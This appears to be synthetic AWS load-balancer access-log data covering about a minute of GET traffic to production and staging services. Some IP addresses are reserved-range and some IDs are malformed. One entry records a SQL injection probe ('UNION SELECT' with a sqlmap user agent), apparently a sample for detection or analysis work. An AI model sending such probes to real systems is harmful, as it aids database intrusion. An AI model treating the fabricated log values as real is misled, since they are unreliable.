"-" "-" -https 2024-11-01T00:09:23.798083Z prod-api-alb 82.4.57.136:60419 10.0.132.116:443 0.025781 0.243796 0.034950 200 200 790 1438 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9c3-5a7dfe94088b4ef7a974e981" "prod-api-alb.example.com" "-" 4 2024-11-01T00:09:23.798083Z "forward" "-" "-" "10.0.132.116:443" "200" "-" "-" -http 2024-11-01T00:09:25.356841Z staging-alb 250.210.219.230:19477 165.119.139.100:8080 0.053503 0.453473 0.128310 200 200 346 10647 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9c5-c5904fae839e49f0a09011a1" "staging-alb.example.com" "-" 8 2024-11-01T00:09:25.356841Z "forward" "-" "-" "165.119.139.100:8080" "200" "-" "-" -https 2024-11-01T00:09:27.032063Z staging-alb 109.165.22.207:27292 127.95.10.225:8080 0.070114 0.292490 0.019562 301 301 120 9643 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9c7-a096c661c62c494c93e41cf2" "staging-alb.example.com" "-" 6 2024-11-01T00:09:27.032063Z "forward" "-" "-" "127.95.10.225:8080" "301" "-" "-" -https 2024-11-01T00:09:27.488318Z staging-alb 63.184.39.162:38413 152.24.100.86:443 0.116458 0.021297 0.052273 200 200 506 497 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9c7-b2ce833554fb4f0f8de03543" "staging-alb.example.com" "-" 5 2024-11-01T00:09:27.488318Z "forward" "-" "-" "152.24.100.86:443" "200" "-" "-" -http 2024-11-01T00:09:27.912497Z staging-alb 66.159.211.184:12109 96.48.142.187:80 0.119098 0.178660 0.007333 200 200 962 3001 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9c7-c64012f55e4d4c8ebae5a212" "staging-alb.example.com" "-" 4 2024-11-01T00:09:27.912497Z "forward" "-" "-" "96.48.142.187:80" "200" "-" "-" -https 2024-11-01T00:09:28.935586Z staging-alb 3.18.147.57:54768 151.135.35.93:443 0.054050 0.316479 0.102797 301 301 360 6754 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9c8-bd4c1fa8a0c042fc8a5aa000" "staging-alb.example.com" "-" 10 2024-11-01T00:09:28.935586Z "forward" "-" "-" "151.135.35.93:443" "301" "-" "-" -https 2024-11-01T00:09:30.568619Z prod-web-alb 237.85.162.78:12610 10.0.156.167:443 0.067021 0.160453 0.065036 301 301 473 7056 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9ca-bcc20a56c61e4b6db6658657" "prod-web-alb.example.com" "-" 2 2024-11-01T00:09:30.568619Z "forward" "-" "-" "10.0.156.167:443" "301" "-" "-" -https 2024-11-01T00:09:31.540365Z prod-api-alb 108.145.26.151:18997 10.0.227.9:443 0.038742 0.120652 0.027903 200 200 40 1704 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9cb-df0b77d162c74cb7a62dc864" "prod-api-alb.example.com" "-" 1 2024-11-01T00:09:31.540365Z "forward" "-" "-" "10.0.227.9:443" "200" "-" "-" -https 2024-11-01T00:09:32.702413Z prod-api-alb 228.156.21.207:40613 10.0.144.238:443 0.009200 0.206356 0.041638 302 302 344 7658 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9cc-fac87732788e4a5e80a6fc3a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:09:32.702413Z "forward" "-" "-" "10.0.144.238:443" "302" "-" "-" -https 2024-11-01T00:09:33.935775Z prod-web-alb 186.94.11.18:23994 10.0.3.64:443 0.032991 0.267016 0.065029 200 200 586 1277 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9cd-7d4c7fb1311843418f5ef3d2" "prod-web-alb.example.com" "-" 5 2024-11-01T00:09:33.935775Z "forward" "-" "-" "10.0.3.64:443" "200" "-" "-" -https 2024-11-01T00:09:35.276171Z prod-api-alb 121.57.100.185:32382 10.0.75.135:443 0.048305 0.369206 0.039445 200 200 11 8988 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9cf-445daa05c50e4a4f921452a5" "prod-api-alb.example.com" "-" 1 2024-11-01T00:09:35.276171Z "forward" "-" "-" "10.0.75.135:443" "200" "-" "-" -http 2024-11-01T00:09:36.737122Z staging-alb 36.139.57.163:38377 161.62.19.78:80 0.126264 0.597901 0.000767 200 200 639 8965 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9d0-fa010452edba4b6f83221e61" "staging-alb.example.com" "-" 7 2024-11-01T00:09:36.737122Z "forward" "-" "-" "161.62.19.78:80" "200" "-" "-" -https 2024-11-01T00:09:38.522889Z prod-web-alb 19.162.80.171:34196 10.0.244.129:443 0.027520 0.012391 0.056095 200 200 137 11253 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9d2-08c56eca2a004d0a90e93ad8" "prod-web-alb.example.com" "-" 9 2024-11-01T00:09:38.522889Z "forward" "-" "-" "10.0.244.129:443" "200" "-" "-" -https 2024-11-01T00:09:39.698257Z prod-web-alb 147.164.193.29:23251 10.0.237.120:443 0.050983 0.037238 0.056938 301 301 193 11069 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9d3-33bffbdb56584382b88b1c09" "prod-web-alb.example.com" "-" 3 2024-11-01T00:09:39.698257Z "forward" "-" "-" "10.0.237.120:443" "301" "-" "-" -https 2024-11-01T00:09:41.355414Z prod-api-alb 130.87.139.20:36644 10.0.178.243:443 0.037927 0.328993 0.058640 200 200 283 877 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9d5-33de4083f7294951a270ef9b" "prod-api-alb.example.com" "-" 10 2024-11-01T00:09:41.355414Z "forward" "-" "-" "10.0.178.243:443" "200" "-" "-" -https 2024-11-01T00:09:42.793929Z prod-web-alb 187.175.47.171:57158 10.0.85.173:443 0.030266 0.066481 0.042395 200 200 269 12524 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9d6-d209d78d363643818770b532" "prod-web-alb.example.com" "-" 8 2024-11-01T00:09:42.793929Z "forward" "-" "-" "10.0.85.173:443" "200" "-" "-" -http 2024-11-01T00:09:44.046476Z staging-alb 234.223.219.58:64088 145.148.200.104:8080 0.050784 0.062084 0.071050 200 200 690 4344 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9d8-c8cc662665f4451a99cb5f36" "staging-alb.example.com" "-" 10 2024-11-01T00:09:44.046476Z "forward" "-" "-" "145.148.200.104:8080" "200" "-" "-" -https 2024-11-01T00:09:45.702300Z prod-web-alb 142.96.29.23:12510 10.0.163.223:443 0.030564 0.347771 0.050931 404 404 401 6484 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9d9-024b2a05caee46f3a5bf9af8" "prod-web-alb.example.com" "-" 5 2024-11-01T00:09:45.702300Z "forward" "-" "-" "10.0.163.223:443" "404" "-" "-" -https 2024-11-01T00:09:46.948376Z prod-api-alb 236.141.33.203:21719 10.0.111.148:443 0.021400 0.055411 0.004993 200 200 539 14773 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9da-72996239f70d4a5284a76d2c" "prod-api-alb.example.com" "-" 10 2024-11-01T00:09:46.948376Z "forward" "-" "-" "10.0.111.148:443" "200" "-" "-" -https 2024-11-01T00:09:48.521600Z prod-web-alb 174.196.225.177:46922 10.0.28.32:443 0.027184 0.243173 0.096672 200 200 976 4258 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9dc-6b696a00787241d99ef84b1c" "prod-web-alb.example.com" "-" 10 2024-11-01T00:09:48.521600Z "forward" "-" "-" "10.0.28.32:443" "200" "-" "-" -https 2024-11-01T00:09:49.294133Z staging-alb 34.25.209.242:45381 7.215.25.215:443 0.010082 0.476865 0.135210 200 200 20 12836 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9dd-05654806d09648fc99a04c8b" "staging-alb.example.com" "-" 1 2024-11-01T00:09:49.294133Z "forward" "-" "-" "7.215.25.215:443" "200" "-" "-" -https 2024-11-01T00:09:50.554805Z prod-api-alb 60.232.172.87:26177 10.0.209.244:443 0.093015 0.350887 0.079194 200 200 413 1757 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9de-c431c876d1464f0581600e9e" "prod-api-alb.example.com" "-" 6 2024-11-01T00:09:50.554805Z "forward" "-" "-" "10.0.209.244:443" "200" "-" "-" -https 2024-11-01T00:09:51.373370Z prod-api-alb 131.189.139.125:22359 10.0.233.197:443 0.011312 0.057597 0.061102 200 200 957 6459 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9df-897ee9ecbba8499db0ddb5c3" "prod-api-alb.example.com" "-" 10 2024-11-01T00:09:51.373370Z "forward" "-" "-" "10.0.233.197:443" "200" "-" "-" -https 2024-11-01T00:09:51.669460Z prod-web-alb 129.20.97.72:32481 10.0.216.240:443 0.061878 0.396517 0.068579 301 301 652 14108 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9df-6a524da87ff145a1875a0cd8" "prod-web-alb.example.com" "-" 7 2024-11-01T00:09:51.669460Z "forward" "-" "-" "10.0.216.240:443" "301" "-" "-" -https 2024-11-01T00:09:52.027873Z prod-web-alb 220.218.235.139:53799 10.0.111.31:443 0.046975 0.232212 0.028752 404 404 795 10874 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9e0-eeaf3b12e030441aab71d163" "prod-web-alb.example.com" "-" 3 2024-11-01T00:09:52.027873Z "forward" "-" "-" "10.0.111.31:443" "404" "-" "-" -https 2024-11-01T00:09:53.627217Z prod-web-alb 42.39.130.156:32182 10.0.35.4:443 0.072343 0.376668 0.051066 200 200 783 10585 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9e1-80b7e1962ee94cdaa6ad5548" "prod-web-alb.example.com" "-" 4 2024-11-01T00:09:53.627217Z "forward" "-" "-" "10.0.35.4:443" "200" "-" "-" -https 2024-11-01T00:09:54.985772Z staging-alb 241.39.235.230:27513 162.221.171.226:443 0.057889 0.315414 0.054402 200 200 354 14077 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9e2-81fe4b8d54cf44cc9fe42a57" "staging-alb.example.com" "-" 10 2024-11-01T00:09:54.985772Z "forward" "-" "-" "162.221.171.226:443" "200" "-" "-" -http 2024-11-01T00:09:56.109668Z staging-alb 236.29.253.184:42143 90.244.31.222:443 0.100698 0.333857 0.085620 200 200 899 11205 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9e4-d134240b2eef4937821ad72d" "staging-alb.example.com" "-" 10 2024-11-01T00:09:56.109668Z "forward" "-" "-" "90.244.31.222:443" "200" "-" "-" -https 2024-11-01T00:09:56.242418Z staging-alb 212.154.247.209:12437 64.126.204.51:8080 0.075727 0.407252 0.053122 302 302 937 14488 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9e4-2d74d7c506be419192d4c026" "-" "-" 9 2024-11-01T00:09:56.242418Z "forward" "-" "-" "64.126.204.51:8080" "302" "-" "-" -https 2024-11-01T00:09:57.567080Z prod-web-alb 203.10.53.204:55839 10.0.48.90:443 0.002939 0.386420 0.052076 301 301 280 1873 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9e5-ebb75d7be4074ccb9da8fbcb" "prod-web-alb.example.com" "-" 7 2024-11-01T00:09:57.567080Z "forward" "-" "-" "10.0.48.90:443" "301" "-" "-" -https 2024-11-01T00:09:58.759586Z prod-api-alb 185.181.26.16:19899 10.0.108.227:443 0.051067 0.239425 0.060058 200 200 266 14146 "GET /search?q=1' UNION SELECT HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9e6-e773a6b1c53745f28b29084e" "-" "-" 8 2024-11-01T00:09:58.759586Z "forward" "-" "-" "10.0.108.227:443" "200" "-" "-" -https 2024-11-01T00:09:58.910057Z prod-web-alb 195.176.220.231:24362 10.0.17.238:443 0.032218 0.129682 0.037603 200 200 961 10329 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9e6-de71cfff5d194b6ca9760dc6" "prod-web-alb.example.com" "-" 2 2024-11-01T00:09:58.910057Z "forward" "-" "-" "10.0.17.238:443" "200" "-" "-" -https 2024-11-01T00:10:00.381171Z prod-web-alb 180.240.185.21:38339 10.0.196.78:443 0.070490 0.024239 0.023651 200 200 7 12169 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9e8-64f74a9850e943b899facc75" "prod-web-alb.example.com" "-" 2 2024-11-01T00:10:00.381171Z "forward" "-" "-" "10.0.196.78:443" "200" "-" "-" -http 2024-11-01T00:10:01.840949Z staging-alb 161.241.64.147:28033 244.182.238.11:8080 0.016428 0.657424 0.047204 302 302 32 14757 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9e9-5f4b6368e187480c91bbe2f9" "staging-alb.example.com" "-" 4 2024-11-01T00:10:01.840949Z "forward" "-" "-" "244.182.238.11:8080" "302" "-" "-" -https 2024-11-01T00:10:02.366586Z prod-api-alb 165.166.57.143:25405 10.0.192.79:443 0.061426 0.193298 0.071979 301 301 542 7298 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9ea-266d48a3150c411e80ee4884" "prod-api-alb.example.com" "-" 5 2024-11-01T00:10:02.366586Z "forward" "-" "-" "10.0.192.79:443" "301" "-" "-" -https 2024-11-01T00:10:03.797716Z prod-web-alb 255.233.120.130:16532 10.0.250.138:443 0.032605 0.248314 0.045261 200 200 394 596 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9eb-7c4c65908be84f378b4780a9" "prod-web-alb.example.com" "-" 7 2024-11-01T00:10:03.797716Z "forward" "-" "-" "10.0.250.138:443" "200" "-" "-" -https 2024-11-01T00:10:04.894806Z prod-web-alb 214.164.80.241:24253 10.0.236.242:443 0.028959 0.066992 0.073757 200 200 425 10539 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b9ec-3cb94da78e694c93bf0ca712" "prod-web-alb.example.com" "-" 10 2024-11-01T00:10:04.894806Z "forward" "-" "-" "10.0.236.242:443" "200" "-" "-" -https 2024-11-01T00:10:05.553800Z prod-api-alb 40.153.167.114:54808 10.0.20.178:443 0.010395 0.193164 0.018030 200 200 12 8054 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9ed-eeb007aca23e478383f08312" "prod-api-alb.example.com" "-" 0 2024-11-01T00:10:05.553800Z "forward" "-" "-" "10.0.20.178:443" "200" "-" "-" -https 2024-11-01T00:10:06.787990Z prod-api-alb 45.6.252.47:34098 10.0.31.186:443 0.090565 0.357725 0.024964 200 200 397 10119 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b9ee-576ee439aa224941b66ce7ae" "prod-api-alb.example.com" "-" 9 2024-11-01T00:10:06.787990Z "forward" "-" "-" "10.0.31.186:443" "200" "-" "-" -http 2024-11-01T00:10:08.122242Z staging-alb 93.11.149.144:45663 58.145.131.56:8080 0.072164 0.313552 0.081749 200 200 89 1971 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9f0-b9f730b88a4a40698a37542e" "staging-alb.example.com" "-" 9 2024-11-01T00:10:08.122242Z "forward" "-" "-" "58.145.131.56:8080" "200" "-" "-" -http 2024-11-01T00:10:09.526883Z staging-alb 124.97.54.169:18876 38.92.46.130:443 0.040984 0.301964 0.147979 200 200 264 11229 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b9f1-585ec67aafbd450194d32c11" "staging-alb.example.com" "-" 2 2024-11-01T00:10:09.526883Z "forward" "-" "-" "38.92.46.130:443" "200" "-" "-" -http 2024-11-01T00:10:10.339282Z staging-alb 254.142.119.196:55549 54.189.216.10:443 0.113044 0.271919 0.132139 404 404 232 14644 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9f2-75976d0c8efe468486baa058" "staging-alb.example.com" "-" 4 2024-11-01T00:10:10.339282Z "forward" "-" "-" "54.189.216.10:443" "404" "-" "-" -https 2024-11-01T00:10:11.790065Z staging-alb 183.67.58.6:32143 242.187.207.103:443 0.029167 0.717579 0.042236 200 200 4 14033 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9f3-735f47560c6c4082b497aeaf" "staging-alb.example.com" "-" 6 2024-11-01T00:10:11.790065Z "forward" "-" "-" "242.187.207.103:443" "200" "-" "-" -https 2024-11-01T00:10:13.374673Z prod-api-alb 103.141.237.68:49989 10.0.178.171:443 0.088453 0.376513 0.013587 200 200 4 9979 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9f5-fdd227bc24cd41d2a11e89e8" "prod-api-alb.example.com" "-" 10 2024-11-01T00:10:13.374673Z "forward" "-" "-" "10.0.178.171:443" "200" "-" "-" -https 2024-11-01T00:10:13.986868Z prod-web-alb 195.95.130.49:50051 10.0.22.2:443 0.028626 0.294487 0.084390 404 404 680 2128 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9f5-09409508b656435da7712bfd" "prod-web-alb.example.com" "-" 9 2024-11-01T00:10:13.986868Z "forward" "-" "-" "10.0.22.2:443" "404" "-" "-" -https 2024-11-01T00:10:15.765361Z prod-web-alb 184.150.205.140:16387 10.0.192.75:443 0.039601 0.332039 0.022972 301 301 712 6986 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b9f7-7b760a7aace344d8ad1b8ca7" "prod-web-alb.example.com" "-" 2 2024-11-01T00:10:15.765361Z "forward" "-" "-" "10.0.192.75:443" "301" "-" "-" -https 2024-11-01T00:10:16.802672Z prod-api-alb 129.124.127.188:34247 10.0.215.156:443 0.043958 0.426500 0.066664 404 404 803 7243 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b9f8-2b2a1f531e704a6f988e0267" "prod-api-alb.example.com" "-" 6 2024-11-01T00:10:16.802672Z "forward" "-" "-" "10.0.215.156:443" "404" "-" "-" -https 2024-11-01T00:10:17.646013Z staging-alb 64.103.196.14:33716 251.195.95.192:443 0.058132 0.089227 0.075945 200 200 201 9750 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b9f9-a2e351c92d2f43c18ba050eb" "staging-alb.example.com" "-" 7 2024-11-01T00:10:17.646013Z "forward" "-" "-" 